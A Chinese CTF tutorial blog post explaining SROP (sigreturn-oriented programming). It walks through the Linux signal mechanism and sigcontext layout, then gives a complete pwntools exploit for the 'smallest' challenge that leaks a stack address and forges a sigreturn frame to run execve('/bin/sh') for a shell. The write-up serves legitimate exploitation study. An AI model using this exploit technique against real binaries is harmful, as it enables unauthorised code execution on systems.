SROP验证

news2024/11/23 20:38:41

文章目录

  • SROP
    • signal机制
  • SROP的利用原理:
    • 获取shell
    • system call chains
    • 条件:
    • sigreturn 测试
  • 例题:

SROP

signal机制

  1. signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

    image-20241009101314598

    • 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
    • 内核会为该进程保存相应的上下文主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
    • signal handler 返回后,内核会执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

    image-20241009100752016

    对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext:

    • x86
    struct sigcontext
    {
      unsigned short gs, __gsh;
      unsigned short fs, __fsh;
      unsigned short es, __esh;
      unsigned short ds, __dsh;
      unsigned long edi;
      unsigned long esi;
      unsigned long ebp;
      unsigned long esp;
      unsigned long ebx;
      unsigned long edx;
      unsigned long ecx;
      unsigned long eax;
      unsigned long trapno;
      unsigned long err;
      unsigned long eip;
      unsigned short cs, __csh;
      unsigned long eflags;
      unsigned long esp_at_signal;
      unsigned short ss, __ssh;
      struct _fpstate * fpstate;
      unsigned long oldmask;
      unsigned long cr2;
    };
    
    • x64
    struct _fpstate
    {
      /* FPU environment matching the 64-bit FXSAVE layout.  */
      __uint16_t        cwd;
      __uint16_t        swd;
      __uint16_t        ftw;
      __uint16_t        fop;
      __uint64_t        rip;
      __uint64_t        rdp;
      __uint32_t        mxcsr;
      __uint32_t        mxcr_mask;
      struct _fpxreg    _st[8];
      struct _xmmreg    _xmm[16];
      __uint32_t        padding[24];
    };
    
    struct sigcontext
    {
      __uint64_t r8;
      __uint64_t r9;
      __uint64_t r10;
      __uint64_t r11;
      __uint64_t r12;
      __uint64_t r13;
      __uint64_t r14;
      __uint64_t r15;
      __uint64_t rdi;
      __uint64_t rsi;
      __uint64_t rbp;
      __uint64_t rbx;
      __uint64_t rdx;
      __uint64_t rax;
      __uint64_t rcx;
      __uint64_t rsp;
      __uint64_t rip;
      __uint64_t eflags;
      unsigned short cs;
      unsigned short gs;
      unsigned short fs;
      unsigned short __pad0;
      __uint64_t err;
      __uint64_t trapno;
      __uint64_t oldmask;
      __uint64_t cr2;
      __extension__ union
        {
          struct _fpstate * fpstate;
          __uint64_t __fpstate_word;
        };
      __uint64_t __reserved1 [8];
    };
    

一个给进程发送signal信号的例子:

// 接收信号的程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

void signal_hand(int signal) {
    printf("bkbqwq received signal %d\n", signal);
}

int main() {
    int judge;
    // 设置信号处理函数
    signal(SIGUSR1, signal_hand);
    
    printf("receive fork pid : %d\n",getpid());
    printf("Process will send SIGUSR1 to itself in 5 seconds...\n");
    scanf("%d",&judge);
    printf("Process will continue after signal...\n");

    // 等待一段时间,以便可以看到进程在接收信号后继续执行
    sleep(3);

    return 0;
}

发送信号的程序:

// 发送signal 信号的程序
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
int main() {
    int pid;
    // 输入要发送信号的进程的pid
    scanf("%d",&pid);
    
    // send signal
    kill(pid, SIGUSR1);
    return 0;
}

  1. 运行看一下效果:

    image-20241009194706023

    调试看一下在给yz1发送信号时,进程yz1的反应:

    给信号SIGUSR1完整定义:

    image-20241009194821032

    利用kill -SIGUSR1 pid给进程yz1发送信号:

    image-20241009194918168

    从新回到yz1调试,此时调试器收到了内核给的信号:

    image-20241009200639374

    单步步入,该线程就会进入到signal_hand信号处理函数 来处理信号(直接跳转,操作由内核来完成):

    观察寄存器的变化,观察栈上的变化

    额外关注一下函数的调用栈上,__restore_rt是直接从函数头开始的,说明调用signal_hand函数的不是 restore_rt函数,而是内核直接安排在栈上,用来执行完signal_hand信号处理函数后直接恢复进程原来的上下文,来模仿一个call 指令(将返回地址入栈)

    image-20241009200656498

    栈上的数据:

    image-20241009201503675

    在 signal_hand信号处理函数 处理完成之后会用ret指令,返回到__restore_rt函数上,在 _restore_rt中调用了15号系统调用SYS_rt_sigreturn 来恢复进程的上下文:

    此时的栈空间上的一些布局就是要恢复的寄存器数据,这里没有了上面 rt_sigreturn那一段(所以在伪造signal Frame时执行到SYS_rt_sigreturn 系统调用,栈上的布局要从uc_flags开始):

    image-20241009202156285

    执行完SYS_rt_sigreturn 系统调用后,寄存器的值恢复(rip也被直接恢复),程序直接返回到 进入signal_hand信号处理函数前的位置:

    image-20241009202554596

    在用户成面,对signal Frame没有检查

SROP的利用原理:

  1. 仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:

    • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
    • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

    所以,可以伪造Signal Frame,并利用sigreturn 系统调用 ,来给寄存器赋值(所以寄存器都能控制)。

获取shell

  1. 首先,我们假设攻击者可以控制用户进程的栈,那么它就可以伪造一个 Signal Frame,如下图所示,这里以 64 位为例子,给出 Signal Frame 更加详细的信息:

    当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令恢复相应寄存器的值,当执行到pop rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell。

system call chains

  1. 上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可:

    • 控制栈指针。
    • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

    如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用:

    srop-example-2

条件:

  1. 在构造 SROP 攻击的时候,需要满足下面的条件:
    • 可以通过栈溢出来控制栈的内容 ==> 为了写入寄存器的值
    • 需要知道相应的地址:
      • “/bin/sh”
      • Signal Frame
      • syscall
      • sigreturn
    • 需要有够大的空间来塞下整个 sigal frame(栈溢出的空间要足够大)
  2. 值得一说的是,对于 sigreturn 系统调用来说,在 64 位系统中,sigreturn 系统调用对应的系统调用号为 15,只需要 RAX=15,并且执行 syscall 即可实现调用 syscall 调用。而 RAX 寄存器的值又可以通过控制某个函数的返回值来间接控制,比如说 read 函数的返回值为读取的字节数。

sigreturn 测试

  1. 测试源码:

    image-20241009102501368

  2. 溢出覆盖栈上的内容,并调用sigreturn 来观察寄存器值的变化:

    栈上的布局(0x7ffc08163e38是执行sigreturn系统调用时的栈顶),和上面Signal Frame,cs\gs\fs必须赋值为0x33(0b00110011):

    image-20241009104741587

    调用前后寄存器的对比:

    image-20241009103141098

    cs/gs/fs那个字段的低2个字节用来恢复的cs段寄存器(固定为0x0033),如果赋值不是0x0033的话,后续恢复寄存器后执行代码会出问题(寄存器会正常恢复):

    image-20241009110755115

例题:

题目:春秋杯smallest

  1. 题目简短而精悍,只有6条汇编指令:

    image-20241009203034781

  2. rax ==> 0 对应系统用调用read函数,输入的长度是0x400,地址直接在rsp上,即输入的位置就是返回地址:

    先泄漏栈地址,利用read返回值rax(1)来调用系统调用write:

    # 先泄漏栈地址
    SYS_read_ret = 0x00000000004000B0
    syscall_ret = 0x0000000004000BE
    payload = p64(SYS_read_ret) + p64(syscall_ret) + p64(SYS_read_ret)	# 第一个SYS_read_ret用来控制rax的值 syscall_ret调用write 第二个SYS_read_ret 用来调用write后继续输入
    p.send(payload)
    
    payload = b"\xb3"
    p.send(payload)
    stack_addr = u64(p.recv()[0x00002d0:0x00002d0+8])
    success("stack_addr ==> " + hex(stack_addr))
    

    第一个SYS_read_ret,从新去执行read系统调用:

    image-20241009203559051

    输入的长度为1,rax返回值为1:

    image-20241009203705478

    从而执行write系统调用,来泄漏栈地址,ret衔接到SYS_read_ret再来输入:

    image-20241009203750189

    伪造sigal frame写入栈上,控制好到栈顶的距离:

    # 构造frame,表示execv("/bin/sh",0,0)
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve    # execve函数的系统编号
    frame.rdi = stack_addr - 0x000229   # /bin/sh地址
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rsp = stack_addr
    frame.rip = syscall_ret             # 调用execve函数
    
    frame_payload = p64(SYS_read_ret) + p64(0) +bytes(frame)    # SYS_read_ret用来作为返回值 后续输入控制rax的值来执行SYS_rt_sigreturn
    payload = frame_payload + b"/bin/sh\x00"
    p.send(payload)
    pause()
    payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行rt_sigreturn
    p.send(payload)
    

    栈上的布局,sigal frame从第二行开始(因为后面还要ret调用read来控制rax的值,ret衔接到syscall,从而执行rt_sigreturn系统调用):

    image-20241009204154758

    read继续输入,输入长度为15:

    image-20241009204348733

    返回后 rax = 15,并顺利衔接到syscall指令:

    image-20241009204425746

    调用到SYS_rt_sigreturn系统调用,观察此时栈上的数据:

    image-20241009204521060

    刚好把前面填充的两个空位移除(ret)掉,下面执行SYS_rt_sigreturn系统调用就会从该地址处认为是sigal frame,据此来恢复寄存器的值

    屏幕截图 2024-10-09 204616

    执行完SYS_rt_sigreturn系统调用,就会直接用栈上的数据恢复寄存器的值(SYS_rt_sigreturn系统调用只恢复所有寄存器),rip等寄存器顺利衔接到上面sigal frame伪造得到execv(“/bin/sh”,0,0)从而getshell:

    image-20241009204855196

    最后成功getshell:

    image-20241009205120704

  3. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    # context(os='linux', arch='amd64', log_level='debug')
    context.arch = 'amd64'
    context.log_level = 'debug'
    
    def debug():
        gdb.attach(p)
    
    choose = 2
    if choose == 1 :    # 远程
        success("远程")
        p = remote("node4.anna.nssctf.cn",28111)
        libc = ELF("/home/kali/Desktop/haha/libc-2.27.so")
        # libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
        # libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.39-0ubuntu8_amd64/libc.so.6')
    
    else :              # 本地
        success("本地")
        p = process("./smallest")
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        debug()
        # libc = ELF('/home/kali/Desktop/source_code/glibc-2.38_lib/lib/libc.so.6')
        # ld = ELF("ld.so") 
    pause()
    
    # 先泄漏栈地址
    SYS_read_ret = 0x00000000004000B0
    syscall_ret = 0x0000000004000BE
    payload = p64(SYS_read_ret) + p64(syscall_ret) + p64(SYS_read_ret)
    p.send(payload)
    pause()
    payload = b"\xb3"
    p.send(payload)
    stack_addr = u64(p.recv()[0x00002d0:0x00002d0+8])
    success("stack_addr ==> " + hex(stack_addr))
    
    
    
    # # 构造frame,表示read(0,stack_addr,0x400)
    # frame = SigreturnFrame()
    # frame.rax = constants.SYS_read  # read函数的系统编号
    # frame.rdi = 0x0                 # read函数读入的文件 0 ==> 标准输入
    # frame.rsi = stack_addr          # read函数写入地址
    # frame.rdx = 0x400               # read函数写入的长度
    # frame.rsp = stack_addr
    # frame.rip = syscall_ret         # 调用read函数
    
    # print(len(frame))
    # payload = p64(SYS_read_ret) + p64(0) + bytes(frame)
    # p.send(payload)
    
    # pause()
    # #通过控制输入的字符数量,调用sigreturn,从而控制寄存器的值
    # payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行前面的Sigreturn
    # p.send(payload)
    
    # 构造frame,表示execv("/bin/sh",0,0)
    frame = SigreturnFrame()
    frame.rax = constants.SYS_execve    # execve函数的系统编号
    frame.rdi = stack_addr - 0x000229   # /bin/sh地址
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rsp = stack_addr
    frame.rip = syscall_ret             # 调用execve函数
    
    frame_payload = p64(SYS_read_ret) + p64(0) +bytes(frame)    # SYS_read_ret用来作为返回值 后续输入来执行SYS_rt_sigreturn
    payload = frame_payload + b"/bin/sh\x00"
    p.send(payload)
    pause()
    payload = p64(syscall_ret) + b"\x00"*(15-8) # 通过read的返回值 来控制rax寄存器的值 执行前面的Sigreturn
    p.send(payload)
    
    pause()
    p.interactive()
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2203460.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flash 闪存技术基础与 SD NAND Flash 产品测试解析

本篇除了对flash闪存进行简单介绍外&#xff0c;另给读者推荐一种我本人也在用的小容量闪存。 自带坏块管理的SD NAND Flash&#xff08;贴片式TF卡&#xff09;&#xff0c;尺寸小巧&#xff0c;简单易用&#xff0c;兼容性强&#xff0c;稳定可靠&#xff0c;标准SDIO接口&a…

产品图册不会设计?这个网站有大量产品图册案例和模板。

​在当今这个视觉至上的时代&#xff0c;一本设计精美的产品图册无疑能为企业或个人品牌增色不少。产品图册不仅能直观地展示产品特点&#xff0c;还能传达品牌理念&#xff0c;从而吸引潜在客户。然而&#xff0c;对于很多企业或个人来说&#xff0c;设计一本专业水准的产品图…

10月10日

hh 绘制 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QMouseEvent> #include<QPaintEvent> #include<QPixmap> #include<QPainter> #include<QPen> #include<QColorDialog> QT_BEGIN_NAMESPACE namespace Ui {…

“ORA-01017(:用户名/口令无效; 登录被拒绝)”解决办法

目录 报错&#xff1a;ORA-01017&#xff08;&#xff1a;用户名/口令无效; 登录被拒绝&#xff09; 1.打开CMD命令窗&#xff0c;输入sqlplus / as sysdba 1&#xff09;修改密码 SQL>alter user 用户名 identified by 密码 alter user system identified by manager;2&…

27.数据结构与算法-图的遍历(DFS,BFS)

遍历定义与遍历实质 图的特点 图的常用遍历方法 深度优先搜索-DFS 邻接矩阵表示的无向图深度遍历实现 DFS算法效率分析 非连通图的遍历 广度优先搜索遍历-BFS 邻接表表示的无向图广度遍历实现 BFS算法效率分析 非连通图的广度遍历 DFS和BFS算法效率比较

多线程-初阶(2)BlockingQueueThreadPoolExecutor

学习目标&#xff1a; 熟悉wait和notify的线程休眠和启动 熟悉多线程的基本案例 1.单例模式的两种设置模式:懒汉模式和饿汉模式 2.阻塞队列(生产者消费者模型) 3.线程池 4.定时器 1.wait和notify 由于线程之间是抢占式执⾏的, 因此线程之间执⾏的先后顺序难以预知. 但是…

Kotlin顶层属性

kotlin顶层属性 属性可以单独放在一个文件中 file:JvmName("TestValue") // 指定顶层函数生成的类名, 如果不主动声明&#xff0c;默认&#xff08;当前文件名Kt&#xff09;var test_var 1val test_val 2const val test_const_val 3对应生成的java代码如下: 可…

grafana version 11.1.0 设置Y轴刻度为1

grafana 版本 # /usr/share/grafana/bin/grafana --version grafana version 11.1.0设置轴 Axis 搜索 Standard options 在"Decimals"中输入0&#xff0c;确保只显示整数

Kafka 的 Producer 如何实现幂等性

在分布式系统中&#xff0c;消息队列 Kafka 扮演着重要的角色。而确保 Kafka 的 Producer&#xff08;生产者&#xff09;的消息发送具有幂等性&#xff0c;可以极大地提高系统的可靠性和稳定性。那么&#xff0c;Kafka 的 Producer 是如何实现幂等性的呢&#xff1f;让我们一起…

Excel多级结构转成树结构形式

第一步&#xff1a;Excel文件的形式如下 第二步&#xff1a;转换成树结构可选形式 第三步&#xff1a;具体怎么实现&#xff1f; &#xff08;1&#xff09;、需要借助数据库中表来存储这些字段&#xff0c;一张表&#xff08;aa&#xff09;存Excel文件中的所有数据&#xff…

算法复杂度 (数据结构)

一. 数据结构前言 1.1 什么是数据结构 数据结构(Data Structure)是计算机存储、组织数据的方式&#xff0c;指相互之间存在一种或多种特定关系的数据元素的集合。没有一种单一的数据结构对所有用途都有用&#xff0c;所以我们要学各式各样的数据结构&#xff0c;如&#xff1…

如何选择医疗器械管理系统?盘谷医疗符合最新版GSP要求

去年12月7日&#xff0c;新版《医疗器械经营质量管理规范》正式发布&#xff0c;并于今年7月1日正式实施。新版GSP第五十一条提出“经营第三类医疗器械的企业&#xff0c;应当具有符合医疗器械经营质量管理要求的计算机信息系统&#xff0c;保证经营的产品可追溯”&#xff0c;…

Python的functools模块完全教程

在python中函数是一等公民。Java中则为类是一等公民。 当一个函数将另一个函数作为输入或返回另一个函数作为输出时&#xff0c;这些函数称为高阶函数。 functools模块是Python的标准库的一部分&#xff0c;它是为高阶函数而实现的&#xff0c;用于增强函数功能。 目录 一、…

k8s部署及安装

1.1、Kubernetes 简介及部署方法 在部署应用程序的方式上面&#xff0c;主要经历了三个阶段 传统部署:互联网早期&#xff0c;会直接将应用程序部署在物理机上 优点:简单&#xff0c;不需要其它技术的参与 缺点:不能为应用程序定义资源使用边界&#xff0c;很难合理地分配计算…

量化交易四大邪术终章:春梦了无痕

做量化交易有些年头了&#xff0c;见过的策略也成百上千了&#xff0c;前段时间突发奇想&#xff0c;想揭露一些“照骗”策略&#xff0c;尽自己所能减少一些上当受骗的人数&#xff0c;于是写了一个量化邪术系列。 为什么叫量化交易邪术呢&#xff1f;因为在古早的简中网络中&…

netdata保姆级面板介绍

netdata保姆级面板介绍 基本介绍部署流程下载安装指令选择设置KSM为什么要启用 KSM&#xff1f;如何启用 KSM&#xff1f;验证 KSM 是否启用注意事项 检查端口启动状态 netdata和grafana的区别NetdataGrafananetdata各指标介绍总览system overview栏仪表盘1. CPU2. Load3. Disk…

TreeMap和TreeSet

前言 在了解TreeSet和TreeMap之前&#xff0c;先让我们介绍一下搜索树的概念。 1. 搜索树 二叉搜索树又称二叉排序树&#xff0c;这颗树要么是一棵空树&#xff0c;要么是具有以下性质的二叉树&#xff1a; 若它的左子树不为空&#xff0c;则左子树上所有节点的值都小于根节…

[Qt] 信号与槽:深入浅出跨UI与跨线程的信号发送

文章目录 如何自定义信号并使用自定义信号的步骤1.使用 signals 声明信号2. 信号的返回值是 void3. 在需要发送信号的地方使用 emit4. 使用 connect 链接信号和槽5. 完整代码示例总结 如何跨UI发送信号Qt跨UI发送信号机制详解案例概述Qt 信号与槽机制简介代码逻辑详解主窗口 Wi…

九APACHE

## 一 、HTTP协议与URL * HTTP协议&#xff1a;超文本传输协议&#xff0c;用于从Web服务器传输超文本到本地浏览器的传输协议&#xff0c;属于应用层协议。 超文本语言&#xff0c;用来创建超文本文件的标签 * URL&#xff1a;统一资源定位符&#xff0c;是互联网上标准资源…

centos 8.4学习小结

1.权限委派 2.vim快捷方式 2.1非正常关闭文本处理方式 2.2快捷方式 2.3TAB键补齐安装包 [ rootcloud Packages]# rpm -ivh bash-completion-2.7-5.el8.noarch.rpm 2.4#history 查询历史记录 [rootcloud ~]# vim /etc/profile HISTSIZE1000&#xff08;默认保存1000条历史记…